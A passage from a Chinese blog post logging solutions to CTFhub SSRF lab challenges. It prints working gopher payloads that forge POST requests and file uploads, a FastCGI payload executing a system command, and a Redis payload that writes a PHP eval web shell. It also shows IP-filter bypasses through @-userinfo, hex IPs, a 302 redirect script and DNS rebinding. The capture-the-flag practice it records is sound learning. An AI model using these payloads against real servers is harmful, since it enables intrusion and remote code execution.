还有对换行的处理。如果你的POST请求编码出来的换行是%0A,就需要把%0A改成%0D%0A

最后的payload:

1
?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D958d155cdbc801cb749fd7a31b397240

上传文件

题目的提示:这次需要上传一个文件到flag.php了.祝你好运

先访问一下:

1
/?url=127.0.0.1/flag.php

发现没有提交按钮,在前端给它加上去(保证后端能接收的情况下)

1
<inpute type="submit" name="submit">

再去看看index.php有没有东西

1
/?url=file:///var/www/html/index.php

思路和上一题区别不大,就是这次要上传文件而不是key

于是先随便上传个文件,在根据POST包构造一个POST包:

1
2
3
4
5
6
7
8
9
10
11
12
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

然后再编码3次(注意%0D)

构造出最后的payload:

1
?url=127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25250D%25250AContent-Length%25253A%252520292%25250D%25250AContent-Type%25253A%252520multipart/form-data%25253B%252520boundary%25253D----WebKitFormBoundary1lYApMMA3NDrr2iY%25250D%25250A%25250D%25250A------WebKitFormBoundary1lYApMMA3NDrr2iY%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522test.txt%252522%25250D%25250AContent-Type%25253A%252520text/plain%25250D%25250A%25250D%25250ASSRF%252520Upload%25250D%25250A------WebKitFormBoundary1lYApMMA3NDrr2iY%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250D%25250A%25250D%25250A%2525E6%25258F%252590%2525E4%2525BA%2525A4%25250D%25250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

FastCGI协议

题目提示:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

了解一下前置知识CGI和FastCGI协议

对于FastCGI协议,可以用Gopherus脚本工具,毕竟自己构造有点麻烦

1
python2 gopherus.py --exploit fastcgi

输入靶机中存在的页面如:index.php

再输入要执行的命令就生成了

当然别忘了再编码一次(毕竟payload还有个?url)

1
/?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH60%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253C%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/%252Af%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

拿到flag

Redis协议

提示:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

发现Gopherus脚本工具也可以用来生成Redis协议payload,不愧是高级脚本工具

1
python2 gopherus.py --exploit redis

好吧还是有点不一样,它是直接构造拿shell,这里选择php一句话木马拿shell

路径一般是默认路径

然后老样子再编码

1
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2540%2524_POST%255B%2527a%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

在这里卡了好久,我一直以为我的payload有问题,一直改,直到后来看别人的wp才知道,其实这样就已经成功生成shell.php了

然后蚁剑连接,要注意连接地址是

1
http://challenge-fc46249d5066324e.sandbox.ctfhub.com:10800/shell.php

遍历目录或者虚拟终端执行命令就找到flag了

第三部分(bypass)

URL Bypass

题目提示:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

看了一下,该靶机采用http协议, HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式

例如http://example.com@1111这里1111就是pass(口令)

所以可以通过@绕过

所以这里我们构造

1
/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

来绕过,得到flag

数字IP Bypass

提示:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

和众多其他题型的数字绕过一样,采用16进制绕过就可以了(将127.0.0.1转16进制)

1
?url=0x7f000001/flag.php

或者localhost来代替

1
?url=localhost/flag.php

302跳转 Bypass

提示:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

按它的提示来看就是有ip检查咯,需要我们利用302跳转来绕过,这个有一说一配置需求有点高了呀,需要个服务器来当跳板

1
2
<?php 
header("Location:http://127.0.0.1/flag.php");

将这个代码放到云服务器的127.php(同时确保公网可以访问到)

然后

1
?url=http://公网ip/127.php

就可以绕过检查拿flag了

DNS重绑定 Bypass

附件给了个参考链接

利用在线DNS重绑定网站配置好DNS

看一下别人的wp:

这个网站会随机指向两个绑定地址的其中一个,由于127段是回环地址,将AB设置成127.0.0.1127.0.0.2,每一个都能访问localhost

1
/?url=7f000001.7f000002.rbndr.us/flag.php

拿到flag

目前完结(全解开)

至于web进阶那块,等自己去别的平台历练一下再回来做哈哈哈哈哈哈


CTFhub Web刷题记录
https://www.supersmallblack.cn/CTFhub web刷题记录.html
作者
Small Black
发布于
2023年5月14日
许可协议